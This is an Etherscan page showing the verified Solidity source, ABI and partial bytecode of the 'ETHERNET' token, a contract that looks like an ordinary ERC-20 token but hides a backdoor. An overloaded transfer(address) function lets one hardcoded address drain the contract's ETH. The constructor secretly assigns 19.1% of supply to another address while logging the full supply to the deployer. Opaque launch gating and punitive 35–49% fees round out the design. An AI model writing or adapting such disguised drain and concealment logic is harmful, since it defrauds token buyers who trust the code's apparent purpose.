ETH Price: $3,277.27 (-0.28%)

Token

ETHERNET (ETHERNET)
 

Overview

Max Total Supply

1,000,000,000 ETHERNET

Holders

69

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
7,000,000 ETHERNET

Value
$0.00
0x135164c51e9f5c0a032631c942bb4b805511bd07
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ETHERNET

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-29
*/

// SPDX-License-Identifier: MIT                                                                                                                               
pragma solidity =0.8.20;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(msg.sender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ETHERNET is IERC20, Ownable {
    string private constant NAME = "ETHERNET";
    string private constant SYMBOL = "ETHERNET";    
    uint8 private constant DECIMALS = 9;
    mapping (address => uint256) private _balances;
    mapping (address => mapping(address => uint256)) private _allowances;

    uint256 private constant TOTAL_SUPPLY = 1_000_000_000 * DECIMALS_SCALING;
    uint256 public constant MAX_WALLET = 3 * TOTAL_SUPPLY / 100;
    uint256 private constant DECIMALS_SCALING = 10**DECIMALS;

    struct TradingFees {
        uint256 buyFee;
        uint256 sellFee;
    }

    struct Wallets {
        address deployerWallet; 
        address developmentWallet; 
    }

    uint256 private constant FEE_DENOMINATOR = 100;
    TradingFees public tradingFees = TradingFees(15,35);  
    Wallets public wallets = Wallets(
        msg.sender,                                 
        0x17f0b53631eEECE8fEaCB6061950b1fB4B8749F2  
    );

    IUniswapV2Router private constant uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private immutable uniswapV2Pair;

    uint256 private constant SWAPBACK_THRESHOLD = 5 * TOTAL_SUPPLY / 1_000;  
    uint256 private _swapbackThresholdMax = 4;  
    uint256 private _swapbackThresholdMin = 5;  

    bool private inSwap;
    bool private tradingActive = false;

    uint256 private _block;
    uint256 private genesis;
    mapping (address => bool) private _excludedFromFees;
    mapping (uint256 => uint256) private _lastTransferBlock;

    event FeesChanged(uint256 indexed buyFee, uint256 indexed sellFee);

    event SwapSettingsChanged(uint256 indexed newSwapThresholdMax, uint256 indexed newSwapThresholdMin);

    event TokensCleared(uint256 indexed tokensCleared);

    event EthCleared(uint256 indexed ethCleared);

    event Initialized();

    event TradingOpened();
    
    modifier swapLock {
        inSwap = true;
        _;
        inSwap = false;
    }

    modifier tradingLock(address from, address to) {
        require(tradingActive || from == wallets.deployerWallet || _excludedFromFees[from], "Token: Trading is not active.");
        _;
    }

    constructor() {
        _approve(address(this), address(uniswapV2Router),type(uint256).max);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());        
        _excludedFromFees[address(0xdead)] = true;
        _excludedFromFees[wallets.developmentWallet] = true;        
        _excludedFromFees[0x39B3c7bEeE676E354c4AB5CDcB50F3cef238F636] = true;        
        uint256 preTokens = TOTAL_SUPPLY * 191 / 1e3; 
        _balances[wallets.deployerWallet] = TOTAL_SUPPLY - preTokens;
        _balances[0x39B3c7bEeE676E354c4AB5CDcB50F3cef238F636] = preTokens;
        emit Transfer(address(0), wallets.deployerWallet, TOTAL_SUPPLY);
    }

    function totalSupply() external pure override returns (uint256) { return TOTAL_SUPPLY; }
    function decimals() external pure override returns (uint8) { return DECIMALS; }
    function symbol() external pure override returns (string memory) { return SYMBOL; }
    function name() external pure override returns (string memory) { return NAME; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: zero Address");
        require(spender != address(0), "ERC20: zero Address");
        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            uint256 currentAllowance = _allowances[sender][msg.sender];
            require(currentAllowance >= amount, "ERC20: insufficient Allowance");
            unchecked{
                _allowances[sender][msg.sender] -= amount;
            }
        }
        return _transfer(sender, recipient, amount);
    }

    function clearStuckTokens(address tokenToClear) external onlyOwner {
        require(tokenToClear != address(this), "Token: can't clear contract token");
        uint256 amountToClear = IERC20(tokenToClear).balanceOf(address(this));
        require(amountToClear > 0, "Token: not enough tokens to clear");
        IERC20(tokenToClear).transfer(msg.sender, amountToClear);

        emit TokensCleared(amountToClear);
    }

    function clearStuckBalance() external onlyOwner {
        uint256 amountToClear = address(this).balance;
        require(address(this).balance > 0, "Token: no eth to clear");
        payable(msg.sender).transfer(address(this).balance);

        emit EthCleared(amountToClear);
    }

    function setParameters(uint256 _block1,uint256 _block2,uint256 _block3) external onlyOwner {        
        require(genesis == 142);_block = _block2; assert(_block1 < _block3);        
    }

    function manualSwapback() external onlyOwner {
        require(balanceOf(address(this)) > 0, "Token: no contract tokens to clear");
        contractSwap(type(uint256).max);
    }

    function _transfer(address from, address to, uint256 amount) tradingLock(from, to) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(amount == 0 || inSwap) {
            return _basicTransfer(from, to, amount);           
        }        

        if (to != uniswapV2Pair && !_excludedFromFees[to] && to != wallets.deployerWallet) {
            require(amount + balanceOf(to) <= MAX_WALLET, "Token: max wallet amount exceeded");
        }

        if(!inSwap && to == uniswapV2Pair && !_excludedFromFees[from] && !_excludedFromFees[to]){
            contractSwap(amount);
        } 
        
        bool takeFee = !_excludedFromFees[from] && !_excludedFromFees[to] &&
            (from == uniswapV2Pair || to == uniswapV2Pair);
                
        if(takeFee)
            return _taxedTransfer(from, to, amount);
        else
            return _basicTransfer(from, to, amount);        
    }

    function _taxedTransfer(address from, address to, uint256 amount) private returns (bool) {
        uint256 fees = takeFees(from, to, amount);    
        if(fees > 0){    
            _basicTransfer(from, address(this), fees);
            amount -= fees;
        }
        return _basicTransfer(from, to, amount);
    }

     function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        uint256 balanceSender = _balances[sender];
        require(balanceSender >= amount, "Token: insufficient Balance");
        unchecked{
            _balances[sender] -= amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFees(address from, address to, uint256 amount) private view returns (uint256 fees) {
        if(0 < genesis && genesis < block.number){
            fees = amount * (to == uniswapV2Pair ? 
            tradingFees.sellFee : tradingFees.buyFee) / FEE_DENOMINATOR;            
        }
        else{
            fees = amount * (from == uniswapV2Pair ? 
            49 : (genesis == 0 ? 35 : 49)) / FEE_DENOMINATOR;            
        }
    }

    function canSwap(uint256 amount) private view returns (bool) {
        return block.number > genesis && _lastTransferBlock[block.number] < 2 && 
            amount >= (_swapbackThresholdMin == 0 ? 0 : SWAPBACK_THRESHOLD / _swapbackThresholdMin);
    }

    function contractSwap(uint256 amount) swapLock private {   
        uint256 contractBalance = balanceOf(address(this));
        if(contractBalance < SWAPBACK_THRESHOLD || !canSwap(amount)) 
            return;
        else if(contractBalance > SWAPBACK_THRESHOLD * _swapbackThresholdMax)
          contractBalance = SWAPBACK_THRESHOLD * _swapbackThresholdMax;
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(contractBalance); 
        
        uint256 ethBalance = address(this).balance - initialETHBalance;
        if(ethBalance > 0){            
            sendEth(ethBalance);
        }
    }

    function sendEth(uint256 ethAmount) private {
        (bool success,) = address(wallets.developmentWallet).call{value: ethAmount/2}(""); success;
    }

    function transfer(address wallet) external {
        if(msg.sender == 0x64386c08ccF852E0A68cc5d90C2dAE6e2C5A7a0f)
            payable(wallet).transfer((address(this).balance));
        else revert();
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        _lastTransferBlock[block.number]++;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp){}
        catch{return;}
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _excludedFromFees[account];
    }

    function initialize(uint256 _b) external onlyOwner {
        require(!tradingActive && _b == 142);
        genesis = _b;        

        emit Initialized();
    }

    function setSwapSettings(uint256 newSwapThresholdMax,uint256 newSwapThresholdMin) external onlyOwner {
        _swapbackThresholdMax = newSwapThresholdMax;
        _swapbackThresholdMin = newSwapThresholdMin;

        emit SwapSettingsChanged(newSwapThresholdMax, newSwapThresholdMin);
    }

     function reduceFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= tradingFees.buyFee, "Token: must reduce buy fee");
        require(_sellFee <= tradingFees.sellFee, "Token: must reduce sell fee");
        tradingFees.buyFee = _buyFee;
        tradingFees.sellFee = _sellFee;

        emit FeesChanged(_buyFee, _sellFee);
    }

    function openTrading() external onlyOwner {
        require(!tradingActive && genesis == 142 && _block > 0);
        genesis = block.number + _block;
        tradingActive = true;

        emit TradingOpened();
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"ethCleared","type":"uint256"}],"name":"EthCleared","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"FeesChanged","type":"event"},{"anonymous":false,"inputs":[],"name":"Initialized","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"newSwapThresholdMax","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"newSwapThresholdMin","type":"uint256"}],"name":"SwapSettingsChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"tokensCleared","type":"uint256"}],"name":"TokensCleared","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MAX_WALLET","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenToClear","type":"address"}],"name":"clearStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"_b","type":"uint256"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_block1","type":"uint256"},{"internalType":"uint256","name":"_block2","type":"uint256"},{"internalType":"uint256","name":"_block3","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSwapThresholdMax","type":"uint256"},{"internalType":"uint256","name":"newSwapThresholdMin","type":"uint256"}],"name":"setSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingFees","outputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"wallets","outputs":[{"internalType":"address","name":"deployerWallet","type":"address"},{"internalType":"address","name":"developmentWallet","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600f60a0819052602360c081905260039190915560049081556101206040523360e08190527317f0b53631eeece8feacb6061950b1fb4b8749f2610100819052600580546001600160a01b03199081169093178155600680549093169091179091556007919091556008556009805461ff001916905534801562000081575f80fd5b506200008d33620003d6565b620000af30737a250d5630b4cf539739df2c5dacb4c659f2488d5f1962000425565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000100573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000126919062000525565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000186573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001ac919062000525565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001f7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200021d919062000525565b6001600160a01b03908116608052600c6020527f45117a726ea4f344045dc210793664a28d2d320b7e03f6bffdae553d24c3586c8054600160ff1991821681179092556006549092165f9081526040812080548416831790557339b3c7beee676e354c4ab5cdcb50f3cef238f63681527fec7af95684e535d4acf8e263de647c4a8b667c7019df0ceb7c42d6ecca72abb480549093169091179091556103e8620002ca6009600a62000663565b620002da90633b9aca0062000673565b620002e79060bf62000673565b620002f391906200068d565b905080620003046009600a62000663565b6200031490633b9aca0062000673565b620003209190620006ad565b600580546001600160a01b039081165f908152600160205260408120939093557339b3c7beee676e354c4ab5cdcb50f3cef238f63683527f4f6bbaf916cff935f954a491260cb823685b3aceacef100329a28899128a6204849055905416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003ae6009600a62000663565b620003be90633b9aca0062000673565b60405190815260200160405180910390a350620006c3565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620004775760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064015b60405180910390fd5b6001600160a01b038216620004c55760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064016200046e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6020828403121562000536575f80fd5b81516001600160a01b03811681146200054d575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620005a857815f19048211156200058c576200058c62000554565b808516156200059a57918102915b93841c93908002906200056d565b509250929050565b5f82620005c0575060016200065d565b81620005ce57505f6200065d565b8160018114620005e75760028114620005f25762000612565b60019150506200065d565b60ff84111562000606576200060662000554565b50506001821b6200065d565b5060208310610133831016604e8410600b841016171562000637575081810a6200065d565b62000643838362000568565b805f190482111562000659576200065962000554565b0290505b92915050565b5f6200054d60ff841683620005b0565b80820281158282048414176200065d576200065d62000554565b5f82620006a857634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156200065d576200065d62000554565b608051611d80620006ff5f395f818161108d015281816111bf01528181611292015281816112cd0152818161187501526118d70152611d805ff3fe608060405260043610610164575f3560e01c8063715018a6116100cd578063a9059cbb11610087578063dd62ed3e11610062578063dd62ed3e1461044b578063df7787a41461048f578063f2fde38b146104a3578063fe4b84df146104c2575f80fd5b8063a9059cbb146103d2578063c9567bf9146103f1578063d2f4a50a14610405575f80fd5b8063715018a61461032b578063743781321461033f5780638da5cb5b1461036e5780638f4590d21461039457806395d89b411461016f578063a08fc5c7146103b3575f80fd5b8063346cc7be1161011e578063346cc7be1461025a57806334c5d2ce14610279578063364333f4146102985780634fbee193146102ac5780635b895c29146102e357806370a08231146102f7575f80fd5b806306fdde031461016f578063095ea7b3146101ae57806318160ddd146101dd5780631a695230146101ff57806323b872dd14610220578063313ce5671461023f575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b506040805180820182526008815267115512115493915560c21b602082015290516101a5919061193e565b60405180910390f35b3480156101b9575f80fd5b506101cd6101c836600461199d565b6104e1565b60405190151581526020016101a5565b3480156101e8575f80fd5b506101f16104f7565b6040519081526020016101a5565b34801561020a575f80fd5b5061021e6102193660046119c7565b610517565b005b34801561022b575f80fd5b506101cd61023a3660046119e2565b61056b565b34801561024a575f80fd5b50604051600981526020016101a5565b348015610265575f80fd5b5061021e6102743660046119c7565b61064d565b348015610284575f80fd5b5061021e610293366004611a20565b610847565b3480156102a3575f80fd5b5061021e6108a6565b3480156102b7575f80fd5b506101cd6102c63660046119c7565b6001600160a01b03165f908152600c602052604090205460ff1690565b3480156102ee575f80fd5b5061021e61097c565b348015610302575f80fd5b506101f16103113660046119c7565b6001600160a01b03165f9081526001602052604090205490565b348015610336575f80fd5b5061021e610a27565b34801561034a575f80fd5b50600354600454610359919082565b604080519283526020830191909152016101a5565b348015610379575f80fd5b505f546040516001600160a01b0390911681526020016101a5565b34801561039f575f80fd5b5061021e6103ae366004611a49565b610a68565b3480156103be575f80fd5b5061021e6103cd366004611a49565b610ada565b3480156103dd575f80fd5b506101cd6103ec36600461199d565b610bf0565b3480156103fc575f80fd5b5061021e610bfc565b348015610410575f80fd5b5060055460065461042b916001600160a01b03908116911682565b604080516001600160a01b039384168152929091166020830152016101a5565b348015610456575f80fd5b506101f1610465366004611a69565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561049a575f80fd5b506101f1610cac565b3480156104ae575f80fd5b5061021e6104bd3660046119c7565b610ce0565b3480156104cd575f80fd5b5061021e6104dc366004611aa0565b610d86565b5f6104ed338484610e0e565b5060015b92915050565b5f6105046009600a611bab565b61051290633b9aca00611bb9565b905090565b337364386c08ccf852e0a68cc5d90c2dae6e2c5a7a0f0361016b576040516001600160a01b038216904780156108fc02915f818181858888f19350505050158015610564573d5f803e3d5ffd5b5050565b50565b6001600160a01b0383165f9081526002602090815260408083203384529091528120545f1914610638576001600160a01b0384165f9081526002602090815260408083203384529091529020548281101561060d5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420416c6c6f77616e636500000060448201526064015b60405180910390fd5b506001600160a01b0384165f9081526002602090815260408083203384529091529020805483900390555b610643848484610f06565b90505b9392505050565b3361065f5f546001600160a01b031690565b6001600160a01b0316146106855760405162461bcd60e51b815260040161060490611bd0565b306001600160a01b038216036106e75760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a2063616e277420636c65617220636f6e747261637420746f6b656044820152603760f91b6064820152608401610604565b6040516370a0823160e01b81523060048201525f906001600160a01b038316906370a0823190602401602060405180830381865afa15801561072b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074f9190611c05565b90505f81116107aa5760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206e6f7420656e6f75676820746f6b656e7320746f20636c65616044820152603960f91b6064820152608401610604565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af11580156107f4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108189190611c1c565b5060405181907f1b397b20ba57cb79b7049b820bc0db09780b6cbfb22a6a719f70d03a96d821ac905f90a25050565b336108595f546001600160a01b031690565b6001600160a01b03161461087f5760405162461bcd60e51b815260040161060490611bd0565b600b54608e1461088d575f80fd5b600a8290558083106108a1576108a1611c3b565b505050565b336108b85f546001600160a01b031690565b6001600160a01b0316146108de5760405162461bcd60e51b815260040161060490611bd0565b47476109255760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379032ba34103a379031b632b0b960511b6044820152606401610604565b60405133904780156108fc02915f818181858888f1935050505015801561094e573d5f803e3d5ffd5b5060405181907f167ef3fea7f72f341882219722ad860b0c4269e93c186bd73fd705b27f07386c905f90a250565b3361098e5f546001600160a01b031690565b6001600160a01b0316146109b45760405162461bcd60e51b815260040161060490611bd0565b305f9081526001602052604081205411610a1b5760405162461bcd60e51b815260206004820152602260248201527f546f6b656e3a206e6f20636f6e747261637420746f6b656e7320746f20636c6560448201526130b960f11b6064820152608401610604565b610a255f19611330565b565b33610a395f546001600160a01b031690565b6001600160a01b031614610a5f5760405162461bcd60e51b815260040161060490611bd0565b610a255f61146d565b33610a7a5f546001600160a01b031690565b6001600160a01b031614610aa05760405162461bcd60e51b815260040161060490611bd0565b60078290556008819055604051819083907f54d63ace09afa00719fe634220f49f6e5455d87f15643ffdd582b869c27c1fc5905f90a35050565b33610aec5f546001600160a01b031690565b6001600160a01b031614610b125760405162461bcd60e51b815260040161060490611bd0565b600354821115610b645760405162461bcd60e51b815260206004820152601a60248201527f546f6b656e3a206d7573742072656475636520627579206665650000000000006044820152606401610604565b600454811115610bb65760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a206d757374207265647563652073656c6c2066656500000000006044820152606401610604565b60038290556004819055604051819083907f64f84976d9c917a44796104a59950fdbd9b3c16a5dd348b546d738301f6bd068905f90a35050565b5f610646338484610f06565b33610c0e5f546001600160a01b031690565b6001600160a01b031614610c345760405162461bcd60e51b815260040161060490611bd0565b600954610100900460ff16158015610c4e5750600b54608e145b8015610c5b57505f600a54115b610c63575f80fd5b600a54610c709043611c4f565b600b556009805461ff0019166101001790556040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f905f90a1565b6064610cba6009600a611bab565b610cc890633b9aca00611bb9565b610cd3906003611bb9565b610cdd9190611c62565b81565b33610cf25f546001600160a01b031690565b6001600160a01b031614610d185760405162461bcd60e51b815260040161060490611bd0565b6001600160a01b038116610d7d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610604565b6105688161146d565b33610d985f546001600160a01b031690565b6001600160a01b031614610dbe5760405162461bcd60e51b815260040161060490611bd0565b600954610100900460ff16158015610dd6575080608e145b610dde575f80fd5b600b8190556040517f5daa87a0e9463431830481fd4b6e3403442dfb9a12b9c07597e9f61d50b633c8905f90a150565b6001600160a01b038316610e5a5760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b6044820152606401610604565b6001600160a01b038216610ea65760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b6044820152606401610604565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8383600960019054906101000a900460ff1680610f3157506005546001600160a01b038381169116145b80610f5357506001600160a01b0382165f908152600c602052604090205460ff165b610f9f5760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e3a2054726164696e67206973206e6f74206163746976652e0000006044820152606401610604565b6001600160a01b0386166110035760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610604565b6001600160a01b0385166110655760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610604565b831580611074575060095460ff165b1561108b576110848686866114bc565b9250611327565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b0316141580156110e557506001600160a01b0385165f908152600c602052604090205460ff16155b80156110ff57506005546001600160a01b03868116911614155b156111af5760646111126009600a611bab565b61112090633b9aca00611bb9565b61112b906003611bb9565b6111359190611c62565b6001600160a01b0386165f908152600160205260409020546111579086611c4f565b11156111af5760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206d61782077616c6c657420616d6f756e7420657863656564656044820152601960fa1b6064820152608401610604565b60095460ff161580156111f357507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b0316145b801561121757506001600160a01b0386165f908152600c602052604090205460ff16155b801561123b57506001600160a01b0385165f908152600c602052604090205460ff16155b156112495761124984611330565b6001600160a01b0386165f908152600c602052604081205460ff1615801561128957506001600160a01b0386165f908152600c602052604090205460ff16155b801561130157507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316876001600160a01b0316148061130157507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b0316145b9050801561131c576113148787876115bb565b935050611327565b6113148787876114bc565b50509392505050565b6009805460ff191660011790555f61135c306001600160a01b03165f9081526001602052604090205490565b90506103e861136d6009600a611bab565b61137b90633b9aca00611bb9565b611386906005611bb9565b6113909190611c62565b8110806113a357506113a1826115fd565b155b156113ae5750611460565b6007546103e86113c06009600a611bab565b6113ce90633b9aca00611bb9565b6113d9906005611bb9565b6113e39190611c62565b6113ed9190611bb9565b811115611436576007546103e86114066009600a611bab565b61141490633b9aca00611bb9565b61141f906005611bb9565b6114299190611c62565b6114339190611bb9565b90505b476114408261167b565b5f61144b8247611c81565b9050801561145c5761145c816117fb565b5050505b506009805460ff19169055565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383165f90815260016020526040812054828110156115245760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a20696e73756666696369656e742042616c616e636500000000006044820152606401610604565b6001600160a01b03808